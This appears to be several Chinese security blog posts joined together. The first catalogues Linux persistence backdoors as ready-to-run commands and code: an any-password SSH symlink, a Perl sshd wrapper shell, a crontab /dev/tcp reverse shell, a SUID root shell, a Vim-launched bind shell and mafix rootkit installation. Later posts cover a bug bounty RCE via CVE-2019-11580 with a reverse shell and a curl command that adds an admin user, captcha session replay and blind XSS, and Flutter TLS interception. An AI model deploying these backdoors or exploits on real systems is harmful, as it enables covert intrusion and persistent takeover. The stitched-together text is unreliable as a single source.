持久化后門是指當入侵者通過某種手段拿到服務器的控制權之后,通過在服務器上放置一些后門(腳本、進程、連接之類),來方便他以后持久性的入侵,簡單梳理一下日常遇見windows用的比較多的一些持久化方式方便以后排查問題使用.
Linux
0x01:SSH
一、ssh軟連接
SSH軟連接后門的原理
1、Linux軟連接ssh后門需要ssh配置允許PAM認證才能使用
2、將sshd文件軟連接名稱設置為su,這樣應用在啟動過程中他會去PAM配置文件夾中尋找是否存在對應名稱的配置信息(su)
3、如果被控主機不允許root登陸可用其他已存在用戶登陸
4、通過軟連接的方式,實質上PAM認證是通過軟連接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目錄下尋找對應的PAM配置文件(如:/etc/pam.d/su)
5、任意密碼登陸的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可 SSH任意密碼登陸
舉個栗子
靶機執行并查看是否軟連接建立完成
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
說明:建立軟連接到/usr/local/su 文件,也可以在其他目錄,su文件名字不能變,變了就無法登錄.當然可以通過其他設置,更改su名字也是可以的.然后啟動,并指定監聽12345端口,登錄的時候密碼隨意即可.
攻擊者利用ssh并使用任意密碼登陸靶機
ssh root@1xx.1xx.1xx.1xx -p 12345
參考:https://www.jozxing.cc/archives/1653
二、ssh利用公鑰免密登錄
受害者:1.1.1.x
攻擊者:2.2.2.x
現在攻擊者想配置免密登錄連接受害者
攻擊者機器:
# ssh-keygen -b 4096 -t rsa
一路回車回車默認就行,在/root/.ssh/目錄下生成了兩個文件
id_rsa、id_rsa.pub
# cat /root/.ssh/id_rsa.pub
全部copy文件內容
受害者機器:
# vi /root/.ssh/authorized_keys
攻擊者的id_rsa.pub內容粘貼到文件里面(如果原來存在內容就另起一行粘貼)
# chmod 600 /root/.ssh/authorized_keys # chmod 700 /root/.ssh
攻擊者利用公鑰登錄
# ssh -i /root/.ssh/id_rsa root@2.2.2.x
缺點:容易被發現
三、ssh? wrapper后門
init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,于是執行下一句,啟動/usr/bin/sshd,這是原始sshd.
原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作.這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了.此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell.
被控端
[root@Jaky?~]#?cd?/usr/sbin
[root@Jaky?sbin]#?mv?sshd?../bin
[root@Jaky?sbin]#?echo?‘#!/usr/bin/perl’?>sshd
[root@Jaky?sbin]#?echo?‘exec?“/bin/sh”?if(getpeername(STDIN)?=~?/^..4A/);’?>>sshd
[root@Jaky?sbin]#?echo?‘exec{“/usr/bin/sshd”}?“/usr/sbin/sshd”,@ARGV,’?>>sshd
[root@Jaky?sbin]#?chmod?u+x?sshd
[root@Jaky?sbin]#?/etc/init.d/sshd?restart
控制端
socat STDIOTCP4:受害者IP:22,sourceport=19526
優點:
1、隱蔽性較強,無需要編譯,使用于大部分環境中.
2、在無連接后門的情況下,管理員是看不到端口和進程的,last也查不到登陸.
缺點:
1、需要重啟sshd進程.
四、Crontab定時任務
????Crontab定時任務就像windows中的定時任務,在Linux系統中,計劃任務一般是由cron承擔,我們可以把cron設置為開機時自動啟動.
Cron 表達式生成網站:https://qqe2.com/cron
(crontab -l;echo '* 1/5 * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
0x02:SUID后門
????當s這個標志出現在文件所有者的x權限上時,此時就被稱為Set UID.簡程SUID.
當一個文件或者程序所屬 suid為0時,那么它的歸屬及為root,當執行該文件時,其實是以root身份執行的.
必要條件:
1、SUID權限僅對二進制程序有效。
2、執行者對于該程序需要具有x的可執行權限
3、本權限僅在執行該程序的過程中有效
4、在執行過程中執行者將具有該程序擁有者的權限
舉個栗子
#include<stdlib.h> main () { setuid(0); system("/bin/bash"); }
編譯成二進制文件 gcc suid.c -o luomiweixiong 賦予suid權限 chmod 4755 luomiweixiong chmod u+s luomiweixiong 假設webshell權限較低,希望使用suid shell執行root命令,通過web的方式調用 http://localhost/suid.php?path=/tmp/luomiweixiong&cmd=id 即可以root的權限執行命令id
參考
https://pythonpig.github.io/2018/06/26/suid%E5%90%8E%E9%97%A8(suid-shell)/
0x03:協議后門
在一些訪問控制做的比較嚴格的環境中,由內到外的TCP流量會被阻斷掉.但是對于UDP(DNS、ICMP)相關流量通常不會攔截.
主要原理就是利用ICMP中可控的data字段進行數據傳輸
Github上的協議后門利用
https://github.com/andreafabrizi/prism
參考文章
https://zhuanlan.zhihu.com/p/41154036
0x04:VIM后門
Vim是從 vi 發展出來的一個文本編輯器.代碼補全,編譯及錯誤跳轉等方便編程的功能特別豐富,在程序員中被廣泛使用,和Emacs并列成為類Unix系統用戶最喜歡的文本編輯器.
使用環境
1、安裝了VIM編輯器
2、python擴展(絕大版本默認已安裝)
參考
https://github.com/ianxtianxt/WOTD
首先使用一個python開啟本地監聽端口8888的腳本
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',8888)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
同時使用vim的pyfile來執行python腳本
$(nohup?vim?-E?-c?"pyfile?jaky.py">?/dev/null?2>&1?&)?&&?sleep?2?&&?rm?-f?jaky.py
攻擊者開啟NC鏈接就OK
0x05:linux進程注入
原理上來說,是通過獲取其它的進程并修改它,一般是通過操作系統所提供的調試接口來實現的,
在linux中具有調試功能的工具有ptrace、Gdb、radare2、strace等,這些工具都是使用ptrace這個系統調用來提供服務的.
ptrace系統調用允許一個進程去調試另外一個進程。
參考
https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/
Github上利用代碼
https://github.com/gaffe23/linux-inject/
衍生的另外一個技巧? “linux一種無文件后門技巧”
文章參考鏈接
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7%28%E8%AF%91%E6%96%87%29/
0x06:動態鏈接庫后門
在Linux操作系統的動態鏈接庫在加載過程中,動態鏈接器會先讀取LDPRELOAD環境變量和默認配置文件/etc/ld.so.preload,并將讀取到的動態鏈接庫文件進行預加載,即使程序不依賴這些動態鏈接庫,LDPRELOAD環境變量和/etc/ld.so.preload配置文件中指定的動態鏈接庫依然會被裝載,這樣就導致了動態鏈接庫文件可以被當做后門使用.
參考
https://www.freebuf.com/column/162604.html
首先創建了一個jaky.c文件,其中調用time方法,然后創建了一個jakylib.c,其中生成了一個time方法供test調用
編譯后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.
//jaky.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ srand(time(NULL)); return 0; } //編譯:gcc -o jaky jaky.c
//jakylib.c #include <stdio.h> int time(){ printf("hello Jaky"); return 0; //the most random number in the universe } //編譯:gcc -shared -fPIC jakylib.c -o jaky.so
Github上利用代碼
https://github.com/mempodippy/cub3
用于預加載的惡意動態鏈接庫
0x07:mafix rootkit
Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現遠程登陸的特點是配置簡單并可以自定義驗證密碼和端口號.
參考文章
https://www.i0day.com/559.html
1.首先是獲得遠程服務器的root權限
2.然后下載rootkit程序? mafix
(下載前最好把殺毒軟件關掉,基本上會報毒的!)
3.開始安裝
tar -xvzf mafix.tar.gz cd mafix ./root rootkit 345
(其中rootkit為你連接后門程序時的密碼,345為連接的端口)
可以驗證一下是否成功:
[root@jaky ~]# netstat -anlp|grep 345 tcp 0 0 0.0.0.0:345 0.0.0.0:* LISTEN 11280/ttyload
可以看到,345端口已經在監聽了.
4.連接后門程序
ssh 111.111.111.111 -p 345
0x08:PAM
PAM其實是通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序.
利用步驟
確保ssh開啟pam支持
vim /etc/ssh/sshd_config UsePAM yes
Github上利用代碼
https://github.com/litsand/shell/blob/master/pam.sh
0x09:創建不能刪除的文件
使用chattr來給與隱藏權限.這些權限需要使用lsattr這個命令才可以查看到,而如果要修改隱藏權限,則使用chattr這個命令來進行修改.
chattr +i jaky.sh
【via@洛米唯熊】
本文作者為印度尼西亞安全專家YoKo Kho,漏洞眾測平臺Bugcrowd MVP,具備12多年行業的資深信息安全Web漏洞挖掘和滲透測試經驗, 擁有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多項技能認證。《Bug Hunting 101》作者。
前期,我已經收集了目標公司將近數千的子域名,但有了這些東西,我卻有點無從下手,于是乎我只有從原始的目標公司個人信息收集入手。我嘗試從Github上去發現一些目標公司開發人員留下的蛛絲馬跡,這不這個視頻-Github Recon and Sensitive Data Exposure(從Github平臺探測發現敏感數據)給了我一些啟發。
其中主要講述的是如何從Github被上傳代碼庫中發現憑據類敏感信息,然后去驗證受影響公司的相關服務,測試是否有效,但是,從中我也得到另外的信息收集思路。我接下來做的是:
1、收集目標公司泄露在Github上的密碼憑據(不管是否有效),然后嘗試去發現密碼規律,這樣做的原因是從中或許能發現管理員在用戶注冊分配密碼時預先會給定的一些默認密碼,這種思路在后續我們會用到。非常不錯,我幸運地在Github平臺收集到了與目標公司相關的近50個密碼憑據信息:
2、收集目標公司相關的IP地址。這樣做主要有幾種考慮:一是我們可以從一些公開的Github漏洞報告中去發現目標公司相關的IP地址,因為白帽們提交的漏洞報告多少總會包括一些細節分析,才會被眾測平臺接收,雖然有些包含目標系統內部資產信息的漏洞有時候也會存在誤報可能,但是我們可以從這些公開披露的漏洞中去尋找一些IP線索,總結規律,嘗試從中發現一些開發代碼庫或系統信息。這不,我從bugcrowd平臺就發現了自己提交的與目標公司Github相關的5個P1嚴重級漏洞:
二是這樣方便后續我們做內網探測時,可以更快地連接到內部網絡相關的系統資產;三是通過目標公司泄露在Github上的信息,可以間接判斷出目標公司的開發習慣和開發文化,比如我可以通過上述信息在兩三個小時就能弄清其大概的開發框架和內網應用。最后,這樣做也能從代碼審計層面去發現目標公司在用服務的潛在問題。執行了以上幾個前期步驟后,就可以針對目標公司收集到很多的線索信息。
之前那個視頻Github Recon and Sensitive Data Exposure中,涉及到了密碼安全問題,主要是:一些公司內部開發人員在使用類似Github的協同代碼平臺時犯下的錯誤,比如,會把包括相關密碼信息的代碼直接上傳到Github上,這要么是太大意,要么是完全不知道Github有“隱私”功能,那么這種錯誤就有可能被惡意攻擊者發現并利用。對于想要進行內網測試的攻擊者來說,這種開發錯誤還是非常有用的。
接下來,我們需要做的就是登錄我們自己的Github賬號,用以下搜索請求進行搜索:
password “.target.com” target.com “password_value_here”
target.com是目標公司的網站域名,當然“password”字段也可替換成telnet、ftp、ssh、mysql、jdbc、oracle等特定關鍵字。雖然我不太了解Github的查詢機制,但利用這兩個搜索語法我發現了很多有用的東西。
如果你通過上述語法發現某些項目代碼存在密碼泄露,那么,可以繼續深挖,比如可以針對特定代碼庫和特定開發者用戶進行搜索查詢:
或者再找找該開發者的其它代碼庫。如果這些搜索方式都沒啥發現,那么我們可以去找找哪些與當前項目開發者或擁有者存在開發協作關系或互動,然后再針對這個用戶再繼續用上述語法搜索一遍。以下為我總結的Github信息收集(Recon)流程圖:
接下來,我嘗試用Google Dork搜索,這里我用到的語法關鍵字是目標公司的一個內部非公開子域名和相關密碼模式,該內部子域名是我在第一階段Github平臺中發現的,當時通過它我又關聯到了好幾個子域名。由于這些子域名無法通過外網訪問到,我猜想這些子域名是目標公司用于開發之用的。
雖然這些子域名是內部域名,但我還是想嘗試看看Google大法的神奇,于是就用以下Google Dork語法進行了搜索:
site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
竟然真的有所發現!從中我發現了目標公司內部域名和服務端相關的大量密碼憑據(如FTP/SSH)和內部IP地址等信息,盡管它們需要從內網才能訪問或利用,但也算有所發現。
通過調整搜索關鍵字,如已知的IP地址、產品應用(如Oracle、MySQL、MSSQL等) 、服務名稱 (FTP, SSH, DB等)和其它登錄鍵值字段(如password、pwd、pass、username、userid等),或與登錄相關的dashboard、cms等內容。
另外,通過Google大法,我還在某些眾測平臺披露的漏洞報告中發現了目標公司相關的4個賬號,在披露漏洞中這4個賬號都可以訪問到顧客數據,而且這些賬號都使用了我在Github中發現的密碼模式。
另外,我還發現了不在測試范圍內的另一超級管理員賬號(super admin),該賬號信息涉及目標公司客戶的多項交易數據,可惜它所屬于的系統并不在于我滲透測試范圍內,為了保密只放出具體漏洞報告示例,賬號信息就不截圖了。
手上有了一堆內網信息和其密碼配置模式,但還缺少一個有效的內網訪問渠道。為此,我又想從其子域名中發現更多線索,這次我用到了域名和主機可視化發現工具aquatone。之后我發現了目標公司在用的一個老版本服務端,從其顯示線索中來看,只有一些帶有類似 1st words、2nd words、3rd words和crowd關鍵字的可點擊鏈接,其中的“crowd”引起了我的注意,于是我點擊了“crowd”的關鍵字鏈接,然后它跳轉到了一個Atlassian Crowd應用的子域名網站,從中注意到是2017年的版本。
面對該Atlassian Crowd應用,我想有三種可利用方式:
可測試一些用過的賬戶密碼;
可測試發現未修復的補丁;
可測試發現配置型漏洞。
當然,首先可用Google來搜索其漏洞利用方式:
經過一番查找,我發現了該版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看該漏洞是否存在公開的利用代碼(exploit),然后我在Github中發現了這個遠程代碼執行(RCE)的exploit:
接下來的就是調試當前Atlassian Crowd應用是否存在該漏洞了。可以在其/admin/路徑下的上傳操作端uploadplugin.action點擊查看,如果當前Atlassian Crowd應用回顯了一個錯誤消息“HTTP Status 400 – Requires POST” ,那么這種情況說明它是存在該RCE漏洞的,也就是說其uploadplugin插件可以被未授權利用。
現在,我們從https://github.com/jas502n/CVE-2019-11580下載漏洞利用代碼CVE-2019-11580.py,以當前Atlassian Crowd應用為目標,它確實存在CVE-2019-11580漏洞,并反彈回了一個webshell,如下:
接著,就可以通過瀏覽器瀏覽http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,訪問到這個webshell了,當然其中的command_here可以替換成其它系統命令。如下:
所以,總結來看,該漏洞利用有三個好處:
1、無需任何用戶賬戶密碼;
2、RCE是以root身份執行的;
3、該Atlassian Crowd應用無任何安全防護。
但這還不夠,我們需要一個能與目標系統執行交互的Webshell!
這里,我的想法是通過我的Attacker主機,實現對目標應用系統的操控交互。通常我用的是PentestMonkey上提供的反彈Shell,但可惜的是,其中的交互命令在與我的Attacker主機連接執行時沒有任何回連顯示,很可能是目標Web應用過濾了如> & 以及‘ “這些特殊字符。
為此,我只有在我的Attacker主機放置了一個回連python腳本reverse.py,然后通過之前的RCE命令迫使目標Web應用來對它執行下載,然后再通過我的Attacker主機連接它,實現控制。具體的python回連腳本reverse.py如下:
目標Web應用從我的Attacker主機中下載python回連腳本reverse.py:
就這樣,我們就向目標Web應用系統中植入了一個反彈腳本,之后,需要對該腳本文件進行chmod權限修改以便我們能訪問執行,如可以把它修改為700:
目標Web應用下載了reverse.py后,我們這邊的Attacker主機需要設置一個監聽端口:
$ nc -lvp <our_port>
然后,用之前的RCE shell使目標Web應用執行腳本reverse.py。但是,這還不算真正意義上的交互shell,如果把它設置為偽終端方式就更好了,所以,可以在終端窗口中執行以下python命令實現腳本的偽終端顯示:
python -c 'import pty;pty.spawn("/bin/bash")'
到此,我們就獲得了目標Web應用系統的一個控制shell:通過運行reverse.py,我們就能無障礙地去連接目標Web應用系統中的數據庫或其它運行服務了:
這里我們獲得的RCE,一個有利因素就是該服務器位于目標公司的內部網絡中,當在上述交互webshell是去ping一些目標公司的公開系統時,返回響應中得到的是一些內部IP地址。也就是說,我們在這個全球知名大型信息通信技術公司的內部網絡系統中實現了據點潛伏。之前階段我們收集獲得的大量內部網絡信息,在這里就可派上用場了。但是,為了不造成嚴重影響破壞,不能再深入了,就點到為止吧。
聲明:以上主要展示前期信息收集對后期滲透測試的重要性,最終說明問題即可收手,另外這些測試都是在允許授權之內開展的。
最終,盡管發現的該漏洞不在眾測范圍之內(out-scope),但確實是一次奇妙的滲透之旅。能以信息收集、目標分析和線索映證測試的方式,從知名信通公司的外部網絡中打到內部系統,并實現RCE,已經非常不簡單了。就像我們白帽平時開玩笑說的“要在漏洞測試中發現RCE漏洞,簡單就是天方夜譚”。之后我及時上報了該漏洞,并收到目標公司的快速響應。
上述因為目標公司部署有Atlassian Crowd應用的系統存在漏洞,導致了最終我的RCE。那或許有人會問,能不能嘗試登錄其它的Atlassian Crowd應用或相關數據庫呢?
我們也來看看。經測試發現,為配合Atlassian Crowd的使用,目標公司在該服務器上也安裝了Atlassian協同辦公組件Confluence,而我對Atlassian Crowd和Atlassian Confluence的協同工作機制根本不懂,但我在netstat命令下觀察到了數據庫連接,所以我想其中肯定涉及到一些密碼信息的存儲。經過對Atlassian Confluence的研究分析,我發現其密碼信息存儲在<confluence_home>/confluence.cfg.xml文件中。
使用locate命令,我在目標系統中發現了confluence.cfg.xml文件,更高興的是,其中的密碼信息完全是明文:
就這樣,利用其中的密碼信息,我成功登錄到了其相關數據庫:
登錄了上述Crowd數據庫之后,我就在想能不能把這個登錄密碼進行修改,換成我們自己的呢?我覺得應該是可行的,因為Atlassian在官方文檔里有密碼替換更改的說明,在如下介紹中,我們可以用哈希過的字符串去替換管理員原來的密碼。
由于這是一個漏洞測試項目,因為沒有密碼修改授權,所以我們不能擅自進行這種密碼替換更改。但如果在真實的攻擊場景下,攻擊者完全可以實現這種操作,對系統造成影響。那如果不能修改替換密碼,我們可以選擇創建一個新賬戶的方法來測試。經過查找發現,只要知道管理員賬號密碼,就可以通過REST請求方式來創建Atlassian Crowd的新賬戶:
上述操作的請求格式如下:
curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d' > { > "email": "your@email_here.tld", > "name": "your_new_user_here", > "password": { > "value": "your_new_user_password_here" > } > } > '
your_new_user_here = 將要創建的賬戶名
crowd_administrator_username_here = Crowd的管理員名稱
crowd_administrator_password_here = Crowd的管理員密碼
your@email_here.tld = 將要創建賬戶的綁定郵箱
your_new_user_password_here =將要創建賬戶的密碼
之后,進行賬戶激活,我們就可成功創建一個新的Crowd賬戶:
然后進行登錄:
1、前期的信息收集(Recon)至關重要,通過其我們可以了解目標應用的API工作機制和開發環境等因素。在此借用大牛@Mongobug和@NahamSec對Recon的原話:
“前期信息收集(Recon)不僅可以發現目標系統的資產環境和過期版本信息,還可以掌握相關的應用架構,并獲取到一些很難探測到的功能特性。因此,成功的測試需要在前期信息收集和實際滲透過程中保持一種平衡。”
2、不要丟掉任何你搜集到的數據和信息,說不定在之后的測試中可以發揮作用。該次測試中,我就是綜合利用了前期收集的有用線索,最終成功在后續階段實現了突破驗證了RCE漏洞,收獲了$9,000的獎勵;
3、享受你的每次漏洞測試或滲透測試活動,不要太過于看重賞金(Bounty)。盡量去測試那些合法或官方的項目,多動手多思考多學習,這樣才能快速地提高你的測試技能,擴展你的知識面;
4、可以多參與一些官方的漏洞責任披露項目,從中好好練手,儲備經驗;
5、高手和大牛都不是天生的,他們曾經也是菜鳥。
NOTE:詳細技術報告,請點此下載PDF版本。
【via@freebuf.com】
]]>在業務安全領域,滑動驗證碼已經是國內繼傳統字符型驗證碼之后的標配。眾所周知,打碼平臺和機器學習這兩種繞過驗證碼的方式,已經是攻擊者很主流的思路,不再闡述。本文介紹的是一個冷門的繞過思路和防御方案。這些積累,均來自于實戰之中,希望有用。
知己知彼,百戰不殆。
如果不清楚攻擊者的手段,又如何能制定防御方案?
漏洞名字:session參數重復校驗漏洞
思路介紹:
此思路來源于一次對黑產路徑的溯源復現,由于每次拖動滑塊后,會發送一個Request請求數據包到服務器,服務器會驗證這個Request請求數據包里攜帶的位移參數,來判斷是否是拖動滑塊到了正確的缺口位置。而服務器接收的數據包有很多,除了你發送的,也還會有其他人發送的請求,所以需要一個session參數來作為標識。本文中的”rid”值就是一個session標識。
其中”rid”值是加引號的,因為它只是一個參數。針對不同的滑動驗證碼廠商,可能參數命名不一樣。
漏洞詳情:
在用戶客戶端完成一次正確的驗證碼滑動后,發送到服務器的session參數,會在服務器后端,默認隱含生成一個有效時間和一個有效次數的值。前提條件是正確的滑動。想想這里會不會存在問題?
曾在黑盒測試中發現,有的滑動驗證碼廠商的后端邏輯設計存在缺陷,一個session參數的有效時間是10分鐘,有效使用次數是5次。那么如何利用呢?這是我在風控后臺的真實業務環境下,挖掘到的一條黑產繞過滑動驗證碼的手法。
思路剖析:
首先,觸發滑動驗證機制,如下圖類似。
分析數據包,尋找session參數。通過測試找到”rid”值為session參數。
這里再強調一下,不同的廠商開發的代碼,可能對session參數命名不一樣。比如下圖,”sessionId”值是另一家廠商的session參數,需要我們去分析判斷。
每次滑動正確位移后,使用Brupsuite或者其它中間人代理工具,抓包提取數據包里的session參數(”rid”值),保存到本地。
因為服務器后端默認隱含對我們本地保存的session參數有一個有效時間和有效次數,所以我們不需要再去滑動驗證碼,直接在session的有效期內發送Request請求數據包到服務器即可驗證成功!
上述操作,我用python編寫了一個小工具使其流程化。全自動化過程:調用打碼平臺滑動驗證碼滑塊到正確位置,使用python的mitmproxy庫配合正則提取rid,并寫入保存到本地rid.txt。
最后黑產在實際批量注冊,薅羊毛或刷贊過程中,遇到觸發的滑動驗證碼機制,只要session在有效期內,只需使用python讀取本地的rid.txt內容,調用requests庫發送請求數據包,即可繞過滑動驗證碼。
滑動驗證碼js接口XSS攻擊:
眾所周知的跨站腳本攻擊—XSS,攻擊手法可能很平常,但把常用的攻擊手法用在一個不被人注意的地方,有時候會給你意想不到的效果。
在某次實戰中,對一個安全公司的真實后臺登錄頁面做黑盒測試。
首先,給到的只有一個這種后臺登錄頁面。
對常規的地方進行一番測試后,并沒有發現什么脆弱缺陷。既是一家安全公司,安全防護做的比較高,也是意料之中的事。在屏幕前發了很久的呆,沒有思路的時候,喜歡倒退,會回到滲透測試最本質的起點,信息收集。
因為這家公司做的是業務安全,了解到這個后臺是一個風控數據監測的登錄后臺。
風控面對的業務場景有:注冊、登錄、瀏覽,支付,活動等。
面對的威脅有:惡意爬蟲、批量注冊、薅羊毛、盜號撞庫等。
風控策略有:限制注冊登錄頻率、惡意IP識別、驗證碼等。
【惡意/正常行為】——【風控策略】——【業務場景】,風控在其中扮演者中間人的角色,無論是一個正常用戶的行為還是群控設備的惡意行為,風控一方面會使用策略進行過濾行為,另一方面會將惡意/正常行為會被記錄到日志中,進而在后臺展示。
至此,信息收集完畢,我們整理一下思路。
我們先看一下手里拿到的測試頁面,再對比分析一下上面那段信息。
我們發現這個登錄頁,是有滑動驗證碼的。而對比上面的信息,我將紅色框圈出來的文字,構建了一個我的漏洞測試想法。如果我能控制滑動驗證碼的輸入,那在后臺的輸出也可能將是可控的。紅色框圈出的最后四個字,“后臺展示”,第一反應就是用XSS攻擊手法再合適不過了。
開始行動
首先,找到獲取滑動驗證碼的js接口
channel,appId,orgaization,lang,data,sdkver,callback,model,reversion
黑盒XSS——FUZZ
刷新驗證碼,截斷,抓包。
蠻力碰撞,直接把所有的參數的值替換成XSS payload,但這樣往往容易失敗,因為有些參數是硬編碼,一旦更改,服務器返回的respnse就會直接顯示reject拒絕。
舍近求遠,9個參數,抓9次包,分別替換參數值成XSS payload,最后,幾分鐘后,成功打到了cookie。
因為是黑盒測試,在漏洞修復后,內部人員把后臺觸發漏洞的位置告訴了我。
下面這張圖是,風控后臺的滑動驗證碼記錄的行為信息展示欄,未修復之前這里有一列language的值,就是參數里的”lang”,而插入的XSS payload也就會出現在這個位置。
由于開發人員未考慮到這個隱秘的js接口,所以未做過濾防護,且未申明http only,導致XSS payload可以順利執行。
最后,在黑盒測試盲打XSS中,很大一部分靠運氣。但使用極限語句再配合一個超短域名的XSS平臺,會增加成功率。
滑動驗證碼可能會部署在:注冊、登錄、反爬、支付等場景當中,而黑產繞過滑動驗證碼的技術會有很多種,但凡只要有一種是當前風控策略未考慮的情況,就可能會造成比較嚴重的損失。
攻擊手法總結
從黑產/攻擊者的角度,針對滑動驗證碼,我們介紹了一種繞過的思路:session參數重復校驗漏洞,一種攻擊的手法:JS接口的XSS攻擊。
那么,從風控/防御方的角度,我們如何制定防守方案呢?才疏學淺,不敢無稽之談,只能把平時實戰之中碰到的問題,記錄下來,希望有用。
被動防守——針對攻擊者
這里沒什么特色,既然是被動防守,自然是要避免亡羊補牢。針對諸如XSS等OWASP TOP漏洞,不能依賴開發的細心。除了在業務上線之前,內部測試和攻防測試;還可以在在業務上線之后,托管類似國外Hackone平臺的國內賞金平臺,或自運營SRC。當然,結合考慮預算成本。
主動出擊——針對灰黑產
主動出擊,針對的是利用滑動驗證碼,來精準識別灰黑產。
在上一篇文章實戰筆記之X廠滑動驗證碼漏洞挖掘里最后一節,提到了多缺口、滑塊多樣化的方案。
在一次滑動驗證碼更新升級過程中,發現了一個新思路。
原始過程:在用戶完成一次驗證碼滑動后,將request請求數據包發送給服務器。
升級方案:在服務器后端升級滑動驗證碼的js代碼,使每一個滑動驗證碼都在用戶客戶端生成一個或多個隨機參數,這些隨機參數需要跟隨request請求發送到服務器進行一個簡單邏輯驗證。重點在于:正常用戶只有通過滑動滑塊發送的request數據包才一定是攜帶隨機參數的,但并不強制要求發送的request請求攜帶這些隨機參數。
精準識別:因為核心圈的黑產下放的工具,都是通過直接通過發送request請求數據包來進行批量注冊、刷量刷贊和惡意爬蟲等行為。稱之為:“協議刷”或“打接口”,這種方式效率極高。加上利益化的原因,黑產不會去在乎過程,只在乎是否結果能成功。
升級的方案:只有通過正常滑動滑塊,才能發送攜帶隨機參數的request數據包發到服務器。
舊方案:通過以前的舊接口直接發送不攜帶隨機參數的request數據包到服務器也可以通過驗證。
在無聲無息升級后,兩種方案并行運行,那么拐點就到來了。
是不是就意味著舊方案的驗證碼接口過來的ip,sdk,captcha_flag等數據一定都是源于黑產池;而升級方案的驗證碼接口過來的ip,sdk,captcha_flag等數據不說百分百,也絕大部分都是來自正常用戶群體。這就悄然無聲的就達到了精準識別灰黑產的目的。
持續化:在被黑產發現后,就需要做持續化更新的對抗了。
還是那句,攻防本身就是一場不公平的戰斗,或許只要能大大增加黑產攻擊者的成本,就是有效果的防守。
以上理論,皆為實戰總結。希望有用。
如果沒有,我想下篇或許會有。
【via@freebuf.com】
]]>通常情況下我們會通過添加Burp作為攔截代理,來攔截移動應用程序與其后端之間的通信流量(以用于安全評估等)。雖然Flutter應用代理起來可能會有些困難,但這絕對是可能的。
Flutter使用Dart編寫,因此它不會使用系統CA存儲
Dart使用編譯到應用程序中的CA列表
Dart在Android上不支持代理,因此請使用帶有iptables的ProxyDroid
Hook x509.cc中的session_verify_cert_chain函數以禁用鏈驗證(chain validation)
你可以直接使用本文底部的腳本,或者按照下面的步驟獲取正確的字節或偏移量。
為了執行我的測試,我安裝了flutter插件并創建了一個flutter應用程序,該應用程序附帶了一個默認的交互式按鈕,用于遞增計數器。我將其修改為通過HttpClient類獲取URL:
class _MyHomePageState extends State<MyHomePage> { int _counter = 0; HttpClient client; _MyHomePageState() { _start(); } void _start() async { client = HttpClient(); } void _incrementCounter() { setState(() { if(client != null) { client .getUrl(Uri.parse('http://www.nviso.eu')) // produces a request object .then((request) => request.close()) // sends the request .then((response) => print("SUCCESS - " + response.headers.value("date"))); _counter++; } }); }
該應用程序可以使用flutter build aot進行編譯,并通過adb install推送到設備。
每次按此按鈕時,都會向http://www.nviso.eu發送一個調用,如果成功,則會將其打印到設備日志中。
在我的設備上,我通過Magisk-Frida-Server安裝了Frida,我的Burp證書通過MagiskTrustUserCerts模塊添加到系統CA存儲中。但不幸的是,Burp上并沒有看到有任何流量通過,即使應用程序日志顯示請求成功。
HttpClient有一個findProxy方法,其文檔寫的非常清楚:默認情況下,所有流量都直接發送到目標服務器,而不考慮任何代理設置:
設置用于解析代理服務器的功能,該代理服務器用于打開指定URL的HTTP連接。如果未設置此功能,則將始終使用直接連接。
– findProxy文檔
應用程序可以將此屬性設置為HttpClient.findProxyFromEnvironment,它會搜索特定的環境變量,例如http_proxy和https_proxy。即使應用程序是用這個實現編譯的,但在Android上它也將毫無用處,因為所有應用程序都是初始zygote進程的子進程,因此沒有這些環境變量。
也可以定義一個返回首選代理的自定義findProxy實現。對我的測試應用程序進行的快速修改確實表明,此配置將所有HTTP數據發送到了我的代理服務器:
client.findProxy = (uri) { return "PROXY 10.153.103.222:8888"; };
當然,我們無法在黑盒評估期間修改應用程序,因此需要另一種方法。幸運的是,我們總是有iptables fallback來將所有流量從設備路由到我們的代理。在已root的設備上,ProxyDroid可以很好地處理這個問題,我們可以看到所有HTTP流量都流經了Burp。
這是個更加棘手的問題。如果我將URL更改為HTTPS,會導致Burp SSL握手失敗。這很奇怪,因為我的設備被設置為將我的Burp證書包含為受信任的根證書。
經過一些研究,最終我在一個GitHub issue中找到了有關Windows上問題的解釋,但它同樣也適用于Android: Dart使用Mozilla的NSS庫生成并編譯自己的Keystore。
這意味著我們不能通過將代理CA添加到系統CA存儲來繞過SSL驗證。為了解決這個問題,我們必須深入研究libflutter.so,并找出我們需要修補或hook的,以驗證我們的證書。Dart使用Google的BoringSSL來處理與SSL相關的所有內容,幸運的是Dart和BoringSSL都是開源的。
